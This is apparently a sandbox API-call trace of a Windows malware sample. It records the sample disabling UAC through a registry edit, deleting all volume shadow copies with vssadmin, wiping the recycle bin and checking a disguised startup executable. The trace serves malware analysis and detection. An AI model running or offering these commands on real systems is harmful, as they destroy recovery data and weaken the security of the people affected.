	[0226.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x12c
	[0226.847] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0xc0000c9bc4 | out: lpMode=0xc0000c9bc4) returned 0
	[0226.847] GetFileType (hFile=0x12c) returned 0x1
	[0226.848] GetFileType (hFile=0x12c) returned 0x1
	[0226.848] GetFileInformationByHandle (in: hFile=0x12c, lpFileInformation=0xc0000c9c14 | out: lpFileInformation=0xc0000c9c14) returned 1
	[0226.848] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFileInformationByHandleEx") returned 0x7fff4f7b6ec0
	[0226.848] GetFileInformationByHandleEx (in: hFile=0x12c, FileInformationClass=0x9, lpFileInformation=0xc0000c9bf8, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c9bf8) returned 1
	[0226.849] GetProcAddress (hModule=0x7fff4f780000, lpProcName="ReadFile") returned 0x7fff4f7a2480
	[0226.849] ReadFile (in: hFile=0x12c, lpBuffer=0xc000064240, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0xc0000c9ad4, lpOverlapped=0x0 | out: lpBuffer=0xc000064240*, lpNumberOfBytesRead=0xc0000c9ad4*=0x5, lpOverlapped=0x0) returned 1
	[0226.850] ReadFile (in: hFile=0x12c, lpBuffer=0xc000064245, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c9ad4, lpOverlapped=0x0 | out: lpBuffer=0xc000064245*, lpNumberOfBytesRead=0xc0000c9ad4*=0x0, lpOverlapped=0x0) returned 1
	[0226.851] CloseHandle (hObject=0x12c) returned 1
	[0226.851] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x192c6620000
	[0226.852] GetProcAddress (hModule=0x7fff4f780000, lpProcName="DeleteFileW") returned 0x7fff4f7a2130
	[0226.852] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp")) returned 1
	[0226.854] GetCurrentProcessId () returned 0xfac
	[0226.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0226.854] GetConsoleMode (in: hConsoleHandle=0x12c, lpMode=0xc0000c9a44 | out: lpMode=0xc0000c9a44) returned 0
	[0226.855] GetFileType (hFile=0x12c) returned 0x1
	[0226.855] WriteFile (in: hFile=0x12c, lpBuffer=0xc000010300*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xc0000c9a6c, lpOverlapped=0x0 | out: lpBuffer=0xc000010300*, lpNumberOfBytesWritten=0xc0000c9a6c*=0x5, lpOverlapped=0x0) returned 1
	[0226.857] CreateHardLinkW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp", lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366", lpSecurityAttributes=0x0) returned 1
	[0226.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366"), fInfoLevelId=0x0, lpFileInformation=0xc0000c99b8 | out: lpFileInformation=0xc0000c99b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d3625c, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x86d3625c, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x86d3625c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0226.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), fInfoLevelId=0x0, lpFileInformation=0xc0000c99b8 | out: lpFileInformation=0xc0000c99b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d3625c, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x86d3625c, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x86d3625c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x5)) returned 1
	[0226.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x130
	[0226.858] GetFileInformationByHandle (in: hFile=0x130, lpFileInformation=0xc0000c9c0c | out: lpFileInformation=0xc0000c9c0c) returned 1
	[0226.858] CloseHandle (hObject=0x130) returned 1
	[0226.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x130
	[0226.864] GetFileInformationByHandle (in: hFile=0x130, lpFileInformation=0xc0000c9c0c | out: lpFileInformation=0xc0000c9c0c) returned 1
	[0226.864] CloseHandle (hObject=0x130) returned 1
	[0226.864] CloseHandle (hObject=0x12c) returned 1
	[0226.864] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.232247366")) returned 1
	[0226.865] CloseHandle (hObject=0x124) returned 1
	[0226.865] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\33d7700-06bc-47c5-8714-222cdac43a71.tmp.678017987")) returned 1
	[0226.867] GetEnvironmentVariableW (in: lpName="windir", lpBuffer=0xc0000e01a0, nSize=0x64 | out: lpBuffer="C:\\WINDOWS") returned 0xa
	[0226.867] VirtualAlloc (lpAddress=0xc000106000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000106000
	[0226.868] GetProcAddress (hModule=0x7fff4f780000, lpProcName="CreateProcessW") returned 0x7fff4f79ba30
	[0226.868] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9dd8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc0000c9db0 | out: lpCommandLine="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", lpProcessInformation=0xc0000c9db0*(hProcess=0x134, hThread=0x130, dwProcessId=0xfd0, dwThreadId=0xfd4)) returned 1
	[0226.946] SetEvent (hEvent=0x124) returned 1
	[0226.946] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\windows-update-CVE-wFW.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windows-update-cve-wfw.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9b48 | out: lpFileInformation=0xc0000c9b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecb1f2f, ftCreationTime.dwHighDateTime=0x1d6dd3b, ftLastAccessTime.dwLowDateTime=0x1ecb1f2f, ftLastAccessTime.dwHighDateTime=0x1d6dd3b, ftLastWriteTime.dwLowDateTime=0x25056edf, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x2aede8)) returned 1
	[0226.947] VirtualAlloc (lpAddress=0xc000108000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000108000
	[0226.947] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000e0270, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0226.947] VirtualAlloc (lpAddress=0xc00010a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010a000
	[0226.948] VirtualAlloc (lpAddress=0xc00010c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010c000
	[0226.949] VirtualAlloc (lpAddress=0xc00010e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010e000
	[0226.949] VirtualAlloc (lpAddress=0xc000110000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000110000
	[0226.950] GetFileAttributesExW (in: lpFileName="cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0226.950] CreateFileW (lpFileName="cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.950] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9860 | out: lpFileInformation=0xc0000c9860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0226.951] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetFullPathNameW") returned 0x7fff4f7a2390
	[0226.951] GetFullPathNameW (in: lpFileName="cmd.exe", nBufferLength=0x64, lpBuffer=0xc0000e0340, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe", lpFilePart=0x0) returned 0x1b
	[0226.951] VirtualAlloc (lpAddress=0xc000112000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000112000
	[0226.952] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000e0410, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0226.952] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96a0 | out: lpFileInformation=0xc0000c96a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0226.952] GetFullPathNameW (in: lpFileName="cmd.exe", nBufferLength=0x64, lpBuffer=0xc0000e04e0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe", lpFilePart=0x0) returned 0x1b
	[0226.952] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0226.952] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc0000c9ab4 | out: lpMode=0xc0000c9ab4) returned 0
	[0226.953] GetFileType (hFile=0x13c) returned 0x2
	[0226.953] VirtualAlloc (lpAddress=0xc000114000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000114000
	[0226.953] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x138
	[0226.954] GetConsoleMode (in: hConsoleHandle=0x138, lpMode=0xc0000c9a74 | out: lpMode=0xc0000c9a74) returned 0
	[0226.954] GetFileType (hFile=0x138) returned 0x2
	[0227.022] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000
	[0227.023] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x148
	[0227.024] GetConsoleMode (in: hConsoleHandle=0x148, lpMode=0xc0000c9a74 | out: lpMode=0xc0000c9a74) returned 0
	[0227.024] GetFileType (hFile=0x148) returned 0x2
	[0227.024] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetEnvironmentStringsW") returned 0x7fff4f79ddb0
	[0227.024] GetEnvironmentStringsW () returned 0x192c63df860*
	[0227.024] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000
	[0227.025] VirtualAlloc (lpAddress=0xc000182000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000182000
	[0227.026] VirtualAlloc (lpAddress=0xc000184000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000184000
	[0227.026] GetProcAddress (hModule=0x7fff4f780000, lpProcName="FreeEnvironmentStringsW") returned 0x7fff4f79ddc0
	[0227.026] FreeEnvironmentStringsW (penv=0x192c63df860) returned 1
	[0227.026] VirtualAlloc (lpAddress=0xc000186000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000186000
	[0227.027] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetCurrentProcess") returned 0x7fff4f7a1e00
	[0227.028] GetCurrentProcess () returned 0xffffffffffffffff
	[0227.028] GetProcAddress (hModule=0x7fff4f780000, lpProcName="DuplicateHandle") returned 0x7fff4f7a1eb0
	[0227.028] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000ecc0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000ecc0*=0x14c) returned 1
	[0227.028] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x138, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000ecc8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000ecc8*=0x150) returned 1
	[0227.028] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x148, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc00000ecd0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc00000ecd0*=0x154) returned 1
	[0227.028] VirtualAlloc (lpAddress=0xc00018a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018a000
	[0227.029] VirtualAlloc (lpAddress=0xc00018e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018e000
	[0227.029] VirtualAlloc (lpAddress=0xc000192000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000192000
	[0227.030] CreateProcessW (in: lpApplicationName="cmd.exe", lpCommandLine="cmd /C vssadmin Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0xc000192000, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9a78*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154), lpProcessInformation=0xc0000c9988 | out: lpCommandLine="cmd /C vssadmin Delete Shadows /All /Quiet", lpProcessInformation=0xc0000c9988*(hProcess=0x15c, hThread=0x158, dwProcessId=0xfd8, dwThreadId=0xfdc)) returned 1
	[0227.048] CloseHandle (hObject=0x158) returned 1
	[0227.048] CloseHandle (hObject=0x154) returned 1
	[0227.048] CloseHandle (hObject=0x150) returned 1
	[0227.048] CloseHandle (hObject=0x14c) returned 1
	[0227.048] CloseHandle (hObject=0x13c) returned 1
	[0227.048] CloseHandle (hObject=0x138) returned 1
	[0227.048] CloseHandle (hObject=0x148) returned 1
	[0227.049] GetProcAddress (hModule=0x7fff4f780000, lpProcName="WaitForSingleObject") returned 0x7fff4f7a2090
	[0227.049] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0
	[0233.239] SetEvent (hEvent=0x124) returned 1
	[0233.239] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetExitCodeProcess") returned 0x7fff4f79bc80
	[0233.239] GetExitCodeProcess (in: hProcess=0x15c, lpExitCode=0xc0000c9c9c | out: lpExitCode=0xc0000c9c9c*=0x2) returned 1
	[0233.240] GetProcAddress (hModule=0x7fff4f780000, lpProcName="GetProcessTimes") returned 0x7fff4f798e20
	[0233.240] GetProcessTimes (in: hProcess=0x15c, lpCreationTime=0xc00000ed20, lpExitTime=0xc00000ed28, lpKernelTime=0xc00000ed30, lpUserTime=0xc00000ed38 | out: lpCreationTime=0xc00000ed20, lpExitTime=0xc00000ed28, lpKernelTime=0xc00000ed30, lpUserTime=0xc00000ed38) returned 1
	[0233.240] CloseHandle (hObject=0x15c) returned 1
	[0233.240] CreateIoCompletionPort (FileHandle=0xffffffffffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x15c
	[0233.241] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x706fdff508, ulCount=0x10, ulNumEntriesRemoved=0x706fdff4e0, dwMilliseconds=0x5, fAlertable=0 | out: lpCompletionPortEntries=0x706fdff508, ulNumEntriesRemoved=0x706fdff4e0) returned 0
	[0233.255] SetEvent (hEvent=0xfc) returned 1
	[0233.256] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000e05b0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0233.256] GetFileAttributesExW (in: lpFileName="cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0233.256] CreateFileW (lpFileName="cmd.com" (normalized: "c:\\windows\\system32\\cmd.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0233.256] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c9870 | out: lpFileInformation=0xc0000c9870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0233.257] GetFullPathNameW (in: lpFileName="cmd.exe", nBufferLength=0x64, lpBuffer=0xc0000e0680, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe", lpFilePart=0x0) returned 0x1b
	[0233.257] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000e0750, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0233.257] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0000c96b0 | out: lpFileInformation=0xc0000c96b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e427f9e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4e427f9e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4e427f9e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42600)) returned 1
	[0233.257] GetFullPathNameW (in: lpFileName="cmd.exe", nBufferLength=0x64, lpBuffer=0xc0000e0820, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe", lpFilePart=0x0) returned 0x1b
	[0233.257] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x148
	[0233.257] GetConsoleMode (in: hConsoleHandle=0x148, lpMode=0xc0000c9ac4 | out: lpMode=0xc0000c9ac4) returned 0
	[0233.257] GetFileType (hFile=0x148) returned 0x2
	[0233.258] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x138
	[0233.258] GetConsoleMode (in: hConsoleHandle=0x138, lpMode=0xc0000c9a84 | out: lpMode=0xc0000c9a84) returned 0
	[0233.258] GetFileType (hFile=0x138) returned 0x2
	[0233.258] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0233.258] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc0000c9a84 | out: lpMode=0xc0000c9a84) returned 0
	[0233.258] GetFileType (hFile=0x13c) returned 0x2
	[0233.258] GetEnvironmentStringsW () returned 0x192c63df860*
	[0233.259] VirtualAlloc (lpAddress=0xc000116000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000116000
	[0233.266] VirtualAlloc (lpAddress=0xc000118000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000118000
	[0233.267] FreeEnvironmentStringsW (penv=0x192c63df860) returned 1
	[0233.267] GetCurrentProcess () returned 0xffffffffffffffff
	[0233.267] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x148, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000092d80, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000092d80*=0x14c) returned 1
	[0233.267] VirtualAlloc (lpAddress=0xc00011a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011a000
	[0233.268] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x138, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000092d88, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000092d88*=0x150) returned 1
	[0233.268] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000092d90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000092d90*=0x154) returned 1
	[0233.268] VirtualAlloc (lpAddress=0xc00011c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011c000
	[0233.269] VirtualAlloc (lpAddress=0xc000120000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000120000
	[0233.270] CreateProcessW (in: lpApplicationName="cmd.exe", lpCommandLine="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0xc000120000, lpCurrentDirectory=0x0, lpStartupInfo=0xc0000c9a88*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154), lpProcessInformation=0xc0000c9998 | out: lpCommandLine="cmd /C \"rd /s /q C:\\\\$RECYCLE.BIN\"", lpProcessInformation=0xc0000c9998*(hProcess=0x164, hThread=0x158, dwProcessId=0x254, dwThreadId=0x260)) returned 1
	[0233.304] CloseHandle (hObject=0x158) returned 1
	[0233.304] CloseHandle (hObject=0x154) returned 1
	[0233.304] CloseHandle (hObject=0x150) returned 1
	[0233.356] CloseHandle (hObject=0x14c) returned 1
	[0233.357] VirtualAlloc (lpAddress=0xc000200000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000200000
	[0233.358] CloseHandle (hObject=0x148) returned 1
	[0233.358] CloseHandle (hObject=0x138) returned 1
	[0233.358] CloseHandle (hObject=0x13c) returned 1
	[0233.358] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0xffffffff) returned 0x0
	[0235.390] SetEvent (hEvent=0x124) returned 1
	[0235.391] GetExitCodeProcess (in: hProcess=0x164, lpExitCode=0xc0000c9cac | out: lpExitCode=0xc0000c9cac*=0x0) returned 1
	[0235.391] VirtualAlloc (lpAddress=0xc000202000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000202000
